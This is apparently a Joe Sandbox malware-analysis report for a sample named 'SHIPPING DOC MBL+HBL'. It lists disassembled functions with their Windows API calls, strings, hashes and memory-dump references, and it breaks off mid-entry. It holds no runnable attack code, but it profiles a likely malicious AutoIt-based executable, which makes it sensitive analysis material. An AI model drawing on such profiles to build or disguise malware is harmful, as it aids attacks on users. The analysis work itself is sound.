Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 05553251f661cf921f4d7fdced3221cb253d734c066454670757bf8383a1249c
Instruction ID: 87adf54adfadc32af910058b1fc3aae6bf3f467d794ad0fc87715089316ab907
Opcode Fuzzy Hash: 05553251f661cf921f4d7fdced3221cb253d734c066454670757bf8383a1249c
Instruction Fuzzy Hash: 657127B0644205BFEB219F55EC4AFAABFA4FF05368F101216F629B61E0C7B15C50CB90

Function 00E789C0 Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00E789EC
CoInitialize.OLE32(00000000), ref: 00E78A19
CoUninitialize.OLE32 ref: 00E78A23
GetRunningObjectTable.OLE32(00000000,?), ref: 00E78B23
SetErrorMode.KERNEL32(00000001,00000029), ref: 00E78C50
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00E92C0C), ref: 00E78C84
CoGetObject.OLE32(?,00000000,00E92C0C,?), ref: 00E78CA7
SetErrorMode.KERNEL32(00000000), ref: 00E78CBA
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00E78D3A
VariantClear.OLEAUT32(?), ref: 00E78D4A

Strings

,,, xrefs: 00E789D6

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID: ,,
API String ID: 2395222682-1556401989
Opcode ID: d3401ea0f84ca650eb0809c37a27dd4cd753294e0c6ef24f63d59398ebcad928
Instruction ID: 5b347f8d2962c4dbe69261216d6d5859f9370351b214361c457c5c76aab4fab3
Opcode Fuzzy Hash: d3401ea0f84ca650eb0809c37a27dd4cd753294e0c6ef24f63d59398ebcad928
Instruction Fuzzy Hash: 2BC135B1608305AFC704DF64C98892BB7E9FF98348F00995DF98AAB251DB31ED45CB52

Function 00E80EA5 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E7FE38,?,?), ref: 00E80EBC

Strings

HKEY_LOCAL_MACHINE, xrefs: 00E80F25
HKU, xrefs: 00E80FCE
HKEY_CURRENT_USER, xrefs: 00E80F9B
HKLM, xrefs: 00E80F3A
HKEY_USERS, xrefs: 00E80FBD
HKEY_CLASSES_ROOT, xrefs: 00E80F4F
HKEY_CURRENT_CONFIG, xrefs: 00E80F79
HKCR, xrefs: 00E80F64
HKCU, xrefs: 00E80FAC
HKCC, xrefs: 00E80F8A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 8a4b98a6800d0b15fbc5c3d0a99eb0c78bc77d501ee8b4346f740aea052723b5
Instruction ID: 36e4c7dac135604ba573a16c8d828b4794f708477efe652ead5affdc9993e575
Opcode Fuzzy Hash: 8a4b98a6800d0b15fbc5c3d0a99eb0c78bc77d501ee8b4346f740aea052723b5
Instruction Fuzzy Hash: 83417C7020025A8BCF20EF10ECD2AEF3764AF91304F146469FD697B293DB35995ACB60

Function 00E5FAD2 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00E3E5F9,00000010,?,Bad directive syntax error,00E8F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 00E5FAF3
LoadStringW.USER32(00000000,?,00E3E5F9,00000010), ref: 00E5FAFA

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

_wprintf.LIBCMT ref: 00E5FB2D
__swprintf.LIBCMT ref: 00E5FB4F
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00E5FBBE

Strings

., xrefs: 00E5FBA4
Line %d (File "%s"):, xrefs: 00E5FB64
%s (%d) : ==> %s.: %s %s, xrefs: 00E5FB28
Line %d:, xrefs: 00E5FB49
Error: , xrefs: 00E5FB8C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 518002edc14ef671e4df471a8d52f26ecc285e435a35b89618d36447f9e45cae
Instruction ID: cdb01b01f1a4910247888acc10c6110d4895d91362395cb1124fa4780612f366
Opcode Fuzzy Hash: 518002edc14ef671e4df471a8d52f26ecc285e435a35b89618d36447f9e45cae
Instruction Fuzzy Hash: 5321937290021EEBCF16AF90CC56EEE7779BF14300F045465F505720A1DA71AA98DB90

Function 00E6536E Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

Part of subcall function 00E07A84: _memmove.LIBCMT ref: 00E07B0D

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00E653D7
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00E653ED
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E653FE
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00E65410
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00E65421

Strings

alias PlayMe, xrefs: 00E653B0
play PlayMe wait, xrefs: 00E6540B
open , xrefs: 00E65386
close PlayMe, xrefs: 00E653E8, 00E65415
play PlayMe, xrefs: 00E6541C
status PlayMe mode, xrefs: 00E653D2

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 6a19f16320afb26a42f25b7b267f5045aae3c95e980ab4dc9135dff9ac2af651
Instruction ID: 1705aaab8ead3b13c7022fec61a56febc1041cbe048dce998abf372a5d0c687f
Opcode Fuzzy Hash: 6a19f16320afb26a42f25b7b267f5045aae3c95e980ab4dc9135dff9ac2af651
Instruction Fuzzy Hash: 7011C431A9022979D720B7A1DC4ADFF7BBCEB95B84F10246AB411B21D1DEA01D85CAB0

Function 00E646F8 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00E64713
gethostname.WSOCK32(?,00000100), ref: 00E6472D
gethostbyname.WSOCK32(?), ref: 00E6473A
_wcscpy.LIBCMT ref: 00E64762
_memmove.LIBCMT ref: 00E64775
inet_ntoa.WSOCK32(?), ref: 00E64780
_strcat.LIBCMT ref: 00E6478E
_wcscpy.LIBCMT ref: 00E647A5
WSACleanup.WSOCK32 ref: 00E647B3
_wcscpy.LIBCMT ref: 00E647C1

Strings

0.0.0.0, xrefs: 00E6475C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 0613e8082102ddc5f4c464be343330a6119fd77b53503d47993185b99f3d9d47
Instruction ID: 652fd7cdb7686dd175a4b7b895f0967675402b749a8bafe0a08df224bc200dd6
Opcode Fuzzy Hash: 0613e8082102ddc5f4c464be343330a6119fd77b53503d47993185b99f3d9d47
Instruction Fuzzy Hash: 04110271A44114AFEB24AB20FC4AEEA77EC9B02710F0411B6F409B60D1EF71AAC58B50

Function 00E6501C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00E65021

Part of subcall function 00E2034A: timeGetTime.WINMM(?,75C0B400,00E10FDB), ref: 00E2034E

Sleep.KERNEL32(0000000A), ref: 00E6504D
EnumThreadWindows.USER32(?,Function_00064FCF,00000000), ref: 00E65071
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00E65093
SetActiveWindow.USER32 ref: 00E650B2
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00E650C0
SendMessageW.USER32(00000010,00000000,00000000), ref: 00E650DF
Sleep.KERNEL32(000000FA), ref: 00E650EA
IsWindow.USER32 ref: 00E650F6
EndDialog.USER32(00000000), ref: 00E65107

Strings

BUTTON, xrefs: 00E65085

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: b4a163aa3210e6b56507e4d53409b986d66b25ab707df27cfc1d6634b534d85b
Instruction ID: 6e7dab8fd145396b5908334e9243b22e567a2147b2abc0ef8bdfb479487e343b
Opcode Fuzzy Hash: b4a163aa3210e6b56507e4d53409b986d66b25ab707df27cfc1d6634b534d85b
Instruction Fuzzy Hash: 26219272281A04AFE7005F22FC88F263B7AEB453C9F242434F006B11B1DB228C499B61

Function 00E6D619 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

CoInitialize.OLE32(00000000), ref: 00E6D676
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00E6D709
SHGetDesktopFolder.SHELL32(?), ref: 00E6D71D
CoCreateInstance.OLE32(00E92D7C,00000000,00000001,00EB8C1C,?), ref: 00E6D769
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00E6D7D8
CoTaskMemFree.OLE32(?,?), ref: 00E6D830
_memset.LIBCMT ref: 00E6D86D
SHBrowseForFolderW.SHELL32(?), ref: 00E6D8A9
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00E6D8CC
CoTaskMemFree.OLE32(00000000), ref: 00E6D8D3
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00E6D90A
CoUninitialize.OLE32(00000001,00000000), ref: 00E6D90C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: b81d62dd2d5fc7af6c9a6d030d6865a69a6fbaa6b291f9d103666f61f6ebbb4e
Instruction ID: 0e3da3ddfb10b865f2a51b180aa658c5e33601d17c3556bb94e02024d4f8b8b9
Opcode Fuzzy Hash: b81d62dd2d5fc7af6c9a6d030d6865a69a6fbaa6b291f9d103666f61f6ebbb4e
Instruction Fuzzy Hash: 18B1EA75A00109AFDB04DFA5DC88DAEBBF9FF88314B149469E909EB261DB30ED45CB50

Function 00E6034D Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00E603C8
SetKeyboardState.USER32(?), ref: 00E60433
GetAsyncKeyState.USER32(000000A0), ref: 00E60453
GetKeyState.USER32(000000A0), ref: 00E6046A
GetAsyncKeyState.USER32(000000A1), ref: 00E60499
GetKeyState.USER32(000000A1), ref: 00E604AA
GetAsyncKeyState.USER32(00000011), ref: 00E604D6
GetKeyState.USER32(00000011), ref: 00E604E4
GetAsyncKeyState.USER32(00000012), ref: 00E6050D
GetKeyState.USER32(00000012), ref: 00E6051B
GetAsyncKeyState.USER32(0000005B), ref: 00E60544
GetKeyState.USER32(0000005B), ref: 00E60552

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: d138cec870dbe46dc636e0c19d6460869130fdca8f7cc8ab3c8727308e20b837
Instruction ID: bcf1a60be4a92c121e24e5b1269fdeb680a91ad37e34469f48180bb7822d3c7a
Opcode Fuzzy Hash: d138cec870dbe46dc636e0c19d6460869130fdca8f7cc8ab3c8727308e20b837
Instruction Fuzzy Hash: 8551C720A887A42AFB35DBA094107AFBFF49F013C4F489599D5C2761C3DA649F4CCB61

Function 00E5C529 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00E5C545
GetWindowRect.USER32(00000000,?), ref: 00E5C557
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00E5C5B5
GetDlgItem.USER32(?,00000002), ref: 00E5C5C0
GetWindowRect.USER32(00000000,?), ref: 00E5C5D2
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00E5C626
GetDlgItem.USER32(?,000003E9), ref: 00E5C634
GetWindowRect.USER32(00000000,?), ref: 00E5C645
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00E5C688
GetDlgItem.USER32(?,000003EA), ref: 00E5C696
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00E5C6B3
InvalidateRect.USER32(?,00000000,00000001), ref: 00E5C6C0

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 54914cc4a1e988d0085964c3352a25220ee27b3eb3f874c1cfd4fe41544e56aa
Instruction ID: 566fc56ac5691da7f8b701d152660bdca14baffa442118e468bb18808f3593f3
Opcode Fuzzy Hash: 54914cc4a1e988d0085964c3352a25220ee27b3eb3f874c1cfd4fe41544e56aa
Instruction Fuzzy Hash: 9D51A370B00305AFDB08CFA9DD95AAEBBB5EF88711F24852DF919E7290D7B09D048B50

Function 00E0201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00E01B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00E02036,?,00000000,?,?,?,?,00E016CB,00000000,?), ref: 00E01B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00E020D3
KillTimer.USER32(-00000001,?,?,?,?,00E016CB,00000000,?,?,00E01AE2,?,?), ref: 00E0216E
DestroyAcceleratorTable.USER32(00000000), ref: 00E3BE26
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00E016CB,00000000,?,?,00E01AE2,?,?), ref: 00E3BE57
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00E016CB,00000000,?,?,00E01AE2,?,?), ref: 00E3BE6E
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00E016CB,00000000,?,?,00E01AE2,?,?), ref: 00E3BE8A
DeleteObject.GDI32(00000000), ref: 00E3BE9C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: e99f04497dc49b29196d218b8f1b8fe23a0a6b39a18cf6cf740c42a8ae732c46
Instruction ID: 5e92796b4288515179b6546f83cff1fcbc5ad524c66ede486178ea406aa33a47
Opcode Fuzzy Hash: e99f04497dc49b29196d218b8f1b8fe23a0a6b39a18cf6cf740c42a8ae732c46
Instruction Fuzzy Hash: 7A617C32101B00DFDB299F1AD94CB6A7BF1FB40315F50A42DE646BA9A0C772A8D5DB80

Function 00E021A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00E025DB: GetWindowLongW.USER32(?,000000EB), ref: 00E025EC

GetSysColor.USER32(0000000F), ref: 00E021D3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 034ebad2b6432d5aaf2f64f97a20b92c978b5739e8ee00893352a53f34dadd2d
Instruction ID: 45a9c1f602b709130d533499711335fb7e8b7df16df1589d3ae057d241cfab07
Opcode Fuzzy Hash: 034ebad2b6432d5aaf2f64f97a20b92c978b5739e8ee00893352a53f34dadd2d
Instruction Fuzzy Hash: DC41BF31100140EEDB255FA8EC4CBB93BA1EB16325F245269FE65AA1F2C7318CC6DB21

Function 00E6A931 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00E8F910), ref: 00E6A995
GetDriveTypeW.KERNEL32(00000061,00EB89A0,00000061), ref: 00E6AA5F
_wcscpy.LIBCMT ref: 00E6AA89

Strings

fixed, xrefs: 00E6A9DD
network, xrefs: 00E6A9F3
all, xrefs: 00E6A99B
cdrom, xrefs: 00E6A9B1
unknown, xrefs: 00E6AA20
removable, xrefs: 00E6A9C7
ramdisk, xrefs: 00E6AA09

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 8fcf141cad7f2babc9315f0dea4ee15128e890b7a8e3568bacb97c692bc5e687
Instruction ID: 18eb6e92f2ee07506176448f0b3be42dbbb4da3e31a1090871250f1004cf59ee
Opcode Fuzzy Hash: 8fcf141cad7f2babc9315f0dea4ee15128e890b7a8e3568bacb97c692bc5e687
Instruction Fuzzy Hash: 0051AB305483019BC710EF14E9D2AABB7E9EF84344F18682EF496772E2DB309949CB53

Function 00E09997 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00E099C2
__swprintf.LIBCMT ref: 00E09A0C
__i64tow.LIBCMT ref: 00E3F93F

Strings

%.15g, xrefs: 00E09A06
True, xrefs: 00E3F900
0x%p, xrefs: 00E3F921
False, xrefs: 00E3F907

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 80a2868d01d1fef7fc7cc68556d20aa3037f45e6a1a49d19754312f527574538
Instruction ID: eea38ee871b9b6a46ad8b4191f2cd3472557fae64bd72ddc23aec006ba3134da
Opcode Fuzzy Hash: 80a2868d01d1fef7fc7cc68556d20aa3037f45e6a1a49d19754312f527574538
Instruction Fuzzy Hash: D3410671A04205AFEB289F74DC46A7677E8EF44304F60646EE549F62D3EA319D81CB10

Function 00E87184 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E8719C
CreateMenu.USER32 ref: 00E871B7
SetMenu.USER32(?,00000000), ref: 00E871C6
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E87253
IsMenu.USER32(?), ref: 00E87269
CreatePopupMenu.USER32 ref: 00E87273
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00E872A0
DrawMenuBar.USER32 ref: 00E872A8

Strings

0, xrefs: 00E87192
F, xrefs: 00E87294

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
